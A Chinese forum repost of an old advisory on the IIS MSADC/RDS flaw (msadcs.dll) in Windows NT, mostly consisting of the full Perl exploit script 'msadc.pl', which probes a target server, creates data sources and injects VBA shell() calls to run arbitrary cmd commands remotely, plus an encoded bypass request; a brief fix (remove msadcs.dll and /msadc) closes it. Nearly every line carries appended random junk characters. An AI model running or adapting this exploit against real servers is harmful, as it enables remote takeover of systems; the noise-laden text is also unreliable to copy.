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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'l=>H#}<B  
_"Z?O)d*  
涉及程序: NuSdN> 8ll  
Microsoft NT server G<=I\T'g;  
Y<u%J#'[  
描述: /Jc{aw  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 dq@ * 8ui  
qHp2;  
详细: 1 z~|SmP1  
如果你没有时间读详细内容的话,就删除: Zs{7km  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6dmb bgO)  
有关的安全问题就没有了。 b_a k@LYiu  
UWEegFq*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 U65l o[  
tW4X+d"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \O4s0*gw  
关于利用ODBC远程漏洞的描述,请参看: ]hS<"=oj  
>zDQt7+g;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *;9H\%  
-3i(N.)<;  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 AWi>(wk<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp c+E\e]{  
T7 "QwA  
这里不再论述。 Sir1>YEm  
k2$pcR,WM  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: fkp(M  
QNINn>2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 6IV):S~  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &Z[+V)6,,  
#h^nvRmON  
(3mL!1\  
#将下面这段保存为txt文件,然后: "perl -x 文件名" p<(a);<L  
@'}2xw[eU  
#!perl <Vk}U   
# @IsUY(Gu  
# MSADC/RDS 'usage' (aka exploit) script = g &  
# xT_"` @  
# by rain.forest.puppy %hN>o)  
# P7b"(G%  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me vD9\i*\2  
# beta test and find errors! l[IL~  
| n)4APX\Q  
use Socket; use Getopt::Std; :d9GkC  
getopts("e:vd:h:XR", \%args); ; M0`8MD  
JZ`SV}\`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O5vfcX4>  
krFp q;  
if (!defined $args{h} && !defined $args{R}) { y705  
print qq~ 2w3LK2`ZL  
Usage: msadc.pl -h <host> { -d <delay> -X -v } b9vud r  
-h <host> = host you want to scan (ip or domain) C5-u86F  
-d <seconds> = delay between calls, default 1 second :0Jn`Ds4o  
-X = dump Index Server path table, if available gk6R#  
-v = verbose X4 S| JT  
-e = external dictionary file for step 5 q[VQ?b~9  
.pWRV<25  
Or a -R will resume a command session ~EY)c~ H  
3'kKbrk [  
~; exit;} K"XwSZ/  
T@.+bD  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; G gA:;f46  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X!LiekU!D  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} WN{8gL&y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Z(c SM  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} PdVx&BL*  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } SQ> Yf\  
:t!J 9  
if (!defined $args{R}){ $ret = &has_msadc; PvV\b<Pe+  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :*,!gf  
^|.T \  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" zO\_^A|8H  
. "cmd /c "; nVWU\$Ft  
$in=<STDIN>; chomp $in; eA2*}"W  
$command="cmd /c " . $in ; &odQ&%X  
Zf}2c8Vc4  
if (defined $args{R}) {&load; exit;} W|@SXO)DY  
l![79 eFp  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5I6?gv/  
&try_btcustmr; CHv n8tk  
FT~c|ep.  
print "\nStep 2: Trying to make our own DSN..."; M !"Q7>d  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; mfI[9G  
Bf00&PE;  
print "\nStep 3: Trying known DSNs..."; ;kZD>G8  
&known_dsn; u`Nrg<  
0'r}]Mws  
print "\nStep 4: Trying known .mdbs..."; >S`=~4  
&known_mdb; @HMH>;haE  
*(q{k%/M  
if (defined $args{e}){ 5OGwOZAj52  
print "\nStep 5: Trying dictionary of DSN names..."; fgtwV ji  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !gRU;ZQU_  
89D`!`Ah]  
print "Sorry Charley...maybe next time?\n"; 3{co.+  
exit; =/|GWQ j  
=Xr{ Dg  
############################################################################## hlV(jz  
p+b9D  
sub sendraw { # ripped and modded from whisker ~I> |f  
sleep($delay); # it's a DoS on the server! At least on mine... /_cpS q  
my ($pstr)=@_; 2& Hl wpx  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || UdkNb}L  
die("Socket problems\n"); p%>!1_'(  
if(connect(S,pack "SnA4x8",2,80,$target)){ ld(_+<e  
select(S); $|=1; / zNVJhC  
print $pstr; my @in=<S>; :/=P6b;  
select(STDOUT); close(S);  8q9 ^  
return @in; w/o8R3 F  
} else { die("Can't connect...\n"); }} b_{+OqI  
` k I}p  
############################################################################## 4%nK0FAj  
g=4P-i3   
sub make_header { # make the HTTP request `O3#/1+  
my $msadc=<<EOT h6LjReNo  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 t"%~r3{  
User-Agent: ACTIVEDATA Bq~S=bAB>R  
Host: $ip otjT ?R2g'  
Content-Length: $clen 2ALYfZ|d  
Connection: Keep-Alive d:&cq8^  
AX@bM  
ADCClientVersion:01.06 2xuU[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Y(rQ032s  
gf9,/m  
--!ADM!ROX!YOUR!WORLD! 4xs>X7  
Content-Type: application/x-varg 6@^ ?dQ  
Content-Length: $reqlen B\AyG4J  
$?kTS1I(  
EOT P!9-!+F"  
; $msadc=~s/\n/\r\n/g; ~rOvVi&4  
return $msadc;} e'npa*.e  
)0 6. dZq\  
############################################################################## C;ha2UV0H  
.ejC#vB{KM  
sub make_req { # make the RDS request t9W*N\  
my ($switch, $p1, $p2)=@_; 2g)q (  
my $req=""; my $t1, $t2, $query, $dsn; Sb?v5  
K~UT@,CS60  
if ($switch==1){ # this is the btcustmr.mdb query iuEe#B;!  
$query="Select * from Customers where City=" . make_shell(); PB8U+  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . E(S$Q^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} L-|7 &  
;2BPEo>z9  
elsif ($switch==2){ # this is general make table query  /*S6/#  
$query="create table AZZ (B int, C varchar(10))"; }FV_jJ  
$dsn="$p1";} '#lEUlB  
3WkrG.$[b  
elsif ($switch==3){ # this is general exploit table query {|zQ .s A  
$query="select * from AZZ where C=" . make_shell(); Gqar5  
$dsn="$p1";} 6 ;\>,  
=x^IBLHN  
elsif ($switch==4){ # attempt to hork file info from index server \"K:<+RH  
$query="select path from scope()"; W-RshZ\  
$dsn="Provider=MSIDXS;";} ) { "}bMf  
q4/P'.S  
elsif ($switch==5){ # bad query 3=L5Y/  
$query="select"; i}:^<jDv?  
$dsn="$p1";} ,+n{xI2  
]tK<[8Y  
$t1= make_unicode($query); MGKSaP;x  
$t2= make_unicode($dsn); g( eA?  
$req = "\x02\x00\x03\x00"; S^e e<%-  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0F 4%Xz  
$req.= "\x00\x00" . $t1 ; 1@]gBv<  
$req.= "\x08\x00" . pack ("S1", length($t2)); v'y<}U  
$req.= "\x00\x00" . $t2 ; 3XjY  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4NFvX4  
return $req;} ap|V}j C  
w01\KV  
############################################################################## :(jovse\  
W6 *5e{  
sub make_shell { # this makes the shell() statement kf",/?s2Z  
return "'|shell(\"$command\")|'";} _32 o7}!x  
!| GD8i  
############################################################################## JHVesX  
ss7Z-A4z  
sub make_unicode { # quick little function to convert to unicode -Ze2]^#dl  
my ($in)=@_; my $out; pvqbk2BO  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 98l-  
return $out;} 2;ogkPv'  
7tT L,Nxe  
############################################################################## .)=j~}\  
[ 3SbWwg  
sub rdo_success { # checks for RDO return success (this is kludge) ^MZ9Zu_  
my (@in) = @_; my $base=content_start(@in); P<xCg  
if($in[$base]=~/multipart\/mixed/){ 2 mvp|< "  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }cy<$=c#E_  
return 0;} _H2%6t/V  
7}e{&\0=l  
############################################################################## %i9*2{e#~  
`Yu4h+T  
sub make_dsn { # this makes a DSN for us fJG!TQJ[Y  
my @drives=("c","d","e","f"); Ria*+.k@"B  
print "\nMaking DSN: "; yD&UH_ 1g  
foreach $drive (@drives) { \]t }N  
print "$drive: "; n<7R6)j6  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . QW@`4W0F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 1QuR7p  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); v|r#  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; klC48l  
return 0 if $2 eq "404"; # not found/doesn't exist ivl_=  
if($2 eq "200") { UazUr=| e  
foreach $line (@results) { L)Ru]X`  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} gtb,}T=1  
} return 0;} mt3j$r{_  
7;:Uv=  
############################################################################## o>4GtvA*  
Q(YQ$ i"S  
sub verify_exists { 2Yd;#i)  
my ($page)=@_; {{ 4S gb  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O>L 5 dP  
return $results[0];} 9"k^:}8.  
(V+iJ_1g{  
############################################################################## +D+Rf,D  
w=75?3c7F  
sub try_btcustmr { k<NEauQ  
my @drives=("c","d","e","f"); Z0%Qy+%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /3v`2=b  
L[:b\ O/p,  
foreach $dir (@dirs) { 3/((7O[  
print "$dir -> "; # fun status so you can see progress Kkds^v6  
foreach $drive (@drives) { rv97Wm+  
print "$drive: "; # ditto {5gh.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ib)AC,LT  
$reqlenlen=length( "$reqlen" ); Bso3Z ^X.  
$clen= 206 + $reqlenlen + $reqlen; P"mD 73a  
( u}tUv3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); $5/lU }To  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} FY;R0+N  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} V2|XcR  
$T80vEi+u  
############################################################################## u~^d5["T  
;v1&Rs  
sub odbc_error { 6>B_ojj:  
my (@in)=@_; my $base; d>NM4n[h8  
my $base = content_start(@in); @5\ns-%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w[wrZ:[  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J'>i3e Lq  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tO ^KCnL  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n~NOqvT <  
return $in[$base+4].$in[$base+5].$in[$base+6];} a5xp[TlXn.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; `[Xff24(eb  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . T"$yh2tSY  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m2"~.iM8  
&ahZ_9Q  
############################################################################## ${F] N }  
/!Ng"^.e  
sub verbose { %7~~*_G  
my ($in)=@_; I=I'O?w  
return if !$verbose; !* C9NX  
print STDOUT "\n$in\n";} <);Nc1  
&*#- %<=1  
############################################################################## ! uyC$8V*l  
sC.aT(meJ  
sub save { ,s,VOyr @F  
my ($p1, $p2, $p3, $p4)=@_; .-g++f(_i  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #{kwl|c   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; yqw#= fy  
close OUT;} Zxwcj(d  
B@W`AD1^{  
############################################################################## @ukIt  
GwoN=  
sub load { le-Q&*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,D`iV| (  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); IPhV|7  
@p=<IN>; close(IN); ^l4=/=RR  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .:b|imgiv  
$target= inet_aton($ip) || die("inet_aton problems"); 8 3wa{m:  
print "Resuming to $ip ..."; ]%PQ3MT.  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }QL 2#R  
if($p[1]==1) { 8&"@6/)[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; !5P\5WF~Y  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _JjR= m  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); O:Fnxp5@  
if (rdo_success(@results)){print "Success!\n";} 1c} %_Z/  
else { print "failed\n"; verbose(odbc_error(@results));}} A%pBvULH  
elsif ($p[1]==3){ ,NQucp  
if(run_query("$p[3]")){ D|}%(N@sl  
print "Success!\n";} else { print "failed\n"; }} Ol~j q;75  
elsif ($p[1]==4){ U h'1f7%  
if(run_query($drvst . "$p[3]")){ Q~A25Jf .  
print "Success!\n"; } else { print "failed\n"; }} Wm/0Y'$r&k  
exit;} *L3>:],7  
ul$^]ZWkI  
############################################################################## Wa {>R2h\  
<y}`PmIM I  
sub create_table { Qf|=xV,F  
my ($in)=@_; KU> $=Rd  
$reqlen=length( make_req(2,$in,"") ) - 28; <"g ^V  
$reqlenlen=length( "$reqlen" ); ;oQ*gd  
$clen= 206 + $reqlenlen + $reqlen; %!G]H   
my @results=sendraw(make_header() . make_req(2,$in,"")); XJ|CC.]1u  
return 1 if rdo_success(@results); ;:[!I]E0  
my $temp= odbc_error(@results); verbose($temp); 2?9SM@nAY  
return 1 if $temp=~/Table 'AZZ' already exists/; EVW{!\8[  
return 0;} $Xf gY1S  
9w Pc03a  
############################################################################## SG{> t*E  
;L5'3+U  
sub known_dsn { u2SnL$A7  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #l6L7u0~wC  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", s^]F4'  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", S(c,Sinc  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); e[HP]$\   
Tk hu,  
foreach $dSn (@dsns) { ?]'Rz\70  
print "."; v:MJF*/  
next if (!is_access("DSN=$dSn")); F8J;L](Dq  
if(create_table("DSN=$dSn")){ 8v},&rhPQq  
print "$dSn successful\n"; "-'w,g  
if(run_query("DSN=$dSn")){ LP8Stj JP  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q3M;'m  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "0F =txduS  
MjAF&bD^  
############################################################################## 0pWF\<IZ  
`[<j5(T  
sub is_access { G] -$fz  
my ($in)=@_; .`OyC'  
$reqlen=length( make_req(5,$in,"") ) - 28; d3fF|Wp1  
$reqlenlen=length( "$reqlen" ); S(^*DV  
$clen= 206 + $reqlenlen + $reqlen; 7T]}<aK<c[  
my @results=sendraw(make_header() . make_req(5,$in,"")); dsKEWZ =  
my $temp= odbc_error(@results); 3McBTa!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ZqHh$QBD 9  
return 0;} .D^=vuxt~  
jJc?/1jv  
############################################################################## HG2i^y  
GoI3hp(  
sub run_query { ^FJ=/#@T  
my ($in)=@_; ;&Q8xC2  
$reqlen=length( make_req(3,$in,"") ) - 28; }xx[=t=nUf  
$reqlenlen=length( "$reqlen" ); IS`1}i$1%  
$clen= 206 + $reqlenlen + $reqlen; Ixhe86-:T  
my @results=sendraw(make_header() . make_req(3,$in,"")); NrE&w H:  
return 1 if rdo_success(@results); t> J 43  
my $temp= odbc_error(@results); verbose($temp); (c `t'e  
return 0;} pJC@}z^cw  
n{dl- P  
############################################################################## fLj#+h-!  
sjpcz4|K  
sub known_mdb { bE-{ U/;  
my @drives=("c","d","e","f","g"); `p@YV(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~yH<,e  
my $dir, $drive, $mdb; *~F\k):>  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; c}a.  
3%?01$k  
# this is sparse, because I don't know of many %(GWR@mfC  
my @sysmdbs=( "\\catroot\\icatalog.mdb", A2{u("^[6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", #>+O=YO  
"\\system32\\certmdb.mdb", b{|Ha3;w  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Yyq:5V!  
S3V3<4CB  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", -hav/7g  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y_3 {\g|x  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", uFDJRQJ<  
"\\cfusion\\cfapps\\security\\realm_.mdb", (|_1ku3!  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #?)g?u%g=  
"\\cfusion\\database\\cfexamples.mdb", &>UI{  
"\\cfusion\\database\\cfsnippets.mdb", Y/1KvF4)k  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b !FX]d1~k  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `A8nAgbe  
"\\cfusion\\brighttiger\\database\\cleam.mdb", -4|\,=j  
"\\cfusion\\database\\smpolicy.mdb", nPp\IE}:  
"\\cfusion\\database\cypress.mdb", ^EGe%Fq*x]  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _T6l*D  
"\\website\\cgi-win\\dbsample.mdb", QMoh<[3qu  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", bce>DLF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" $;1#gq%  
); #these are just [:-Ltfr  
foreach $drive (@drives) { pp$WM\r  
foreach $dir (@dirs){ {VBx;A3*I  
foreach $mdb (@sysmdbs) { 3okh'P%+  
print "."; #9Z\jW6b  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0?} ),8v>  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -POV#1s  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ |^K-m42  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (0jT#&#  
} else { print "Something's borked. Use verbose next time\n"; }}}}} D"^4X'6  
b4GD}kR  
foreach $drive (@drives) { %xtTh]s  
foreach $mdb (@mdbs) { Q}GsCmt=)O  
print "."; 9ALE6  
if(create_table($drv . $drive . $dir . $mdb)){ $2Y'[Dto\  
print "\n" . $drive . $dir . $mdb . " successful\n"; LeBuPR$  
if(run_query($drv . $drive . $dir . $mdb)){ 413,O~^  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; V!#+Ti/w4  
} else { print "Something's borked. Use verbose next time\n"; }}}} )UA$."~O  
} 1|)l6#hOL  
%|L+~=  
############################################################################## B#RwW,  
j(4BMk  
sub hork_idx { <aJdm!6  
print "\nAttempting to dump Index Server tables...\n"; T4,dhS|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0 1U/{D6D  
$reqlen=length( make_req(4,"","") ) - 28; ^&oa\7<'  
$reqlenlen=length( "$reqlen" ); 5gnNgt~  
$clen= 206 + $reqlenlen + $reqlen; ]J;pUH+u  
my @results=sendraw2(make_header() . make_req(4,"","")); Z?k4Kb  
if (rdo_success(@results)){ H!Gsu$C  
my $max=@results; my $c; my %d; +uMOT#KjR  
for($c=19; $c<$max; $c++){ p=m)lR9  
$results[$c]=~s/\x00//g; Z -3i -(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]-d:wEj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; UR|UGldt_T  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; HvSKR1wL\  
$d{"$1$2"}="";} M{gtu'.  
foreach $c (keys %d){ print "$c\n"; } -oo&8  
} else {print "Index server doesn't seem to be installed.\n"; }} G+N &(:  
yyke"D  
############################################################################## T =r7FU  
{3@lvoDT  
sub dsn_dict { 40}qf}8n t  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); w '?xewx  
while(<IN>){ &z[39Q{~  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; NF`WA-W8@  
next if (!is_access("DSN=$dSn")); ?I{pv4G:  
if(create_table("DSN=$dSn")){ ]O'dwC  
print "$dSn successful\n"; H^cB ?i  
if(run_query("DSN=$dSn")){ fC>3{@h}*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1"J\iwN3  
print "Something's borked. Use verbose next time\n";}}} aa:Oh^AJy  
print "\n"; close(IN);} `2X~3im  
c e`3&  
############################################################################## qMT7g LB'1  
5MsE oLg  
sub sendraw2 { # ripped and modded from whisker K7 >Z)21  
sleep($delay); # it's a DoS on the server! At least on mine... E6(OEC%,  
my ($pstr)=@_; }t!,{ZryE1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || a nK7j2  
die("Socket problems\n"); *sI`+4h[  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8 x$BbK  
print "Connected. Getting data"; \ FW{&X9a  
open(OUT,">raw.out"); my @in; 0{bGVLp  
select(S); $|=1; print $pstr; ssVO+ T  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} '`g#Zo  
close(OUT); select(STDOUT); close(S); return @in; JBa( O- T  
} else { die("Can't connect...\n"); }} 1<#J[$V  
#~J)?JL  
############################################################################## !yAg!V KY  
5 _X|U*+5  
sub content_start { # this will take in the server headers {=Y%=^!s  
my (@in)=@_; my $c; /Po't(-x  
for ($c=1;$c<500;$c++) { 2Cd#~  
if($in[$c] =~/^\x0d\x0a/){ lWj{pyZ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } o~7~S  
else { return $c+1; }}} f,GF3vu"  
return -1;} # it should never get here actually jUjgxP*7m  
Kn~f$1  
############################################################################## W =YFe<Q  
%Od?(m"&  
sub funky { )G$/II9d  
my (@in)=@_; my $error=odbc_error(@in); n"YY:Gm;8  
if($error=~/ADO could not find the specified provider/){ nbM[?=WS  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ycAQHY~n  
exit;} ]jNv}{  
if($error=~/A Handler is required/){ bDI#'F  
print "\nServer has custom handler filters (they most likely are patched)\n"; gf/$M[H!   
exit;} @QiuCB  
if($error=~/specified Handler has denied Access/){ ( )1\b  
print "\nServer has custom handler filters (they most likely are patched)\n"; -V@vY42  
exit;}} uM"G)$I\  
s5 ? 1w   
############################################################################## iB#xUSkS  
h$[}lZDg  
sub has_msadc { NoS|lT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); SP][xdN7  
my $base=content_start(@results); K3jKOV8   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ] h3~>8<  
return 0;} ,$irJz F  
rlSar$  
######################## TJS/O~=  
Zt: .+.dV  
lUWX[,  
解决方案: le%&r  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll r7w1~z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 }Z5f5q  
dh r)ra]  
拿出来充数 哈哈
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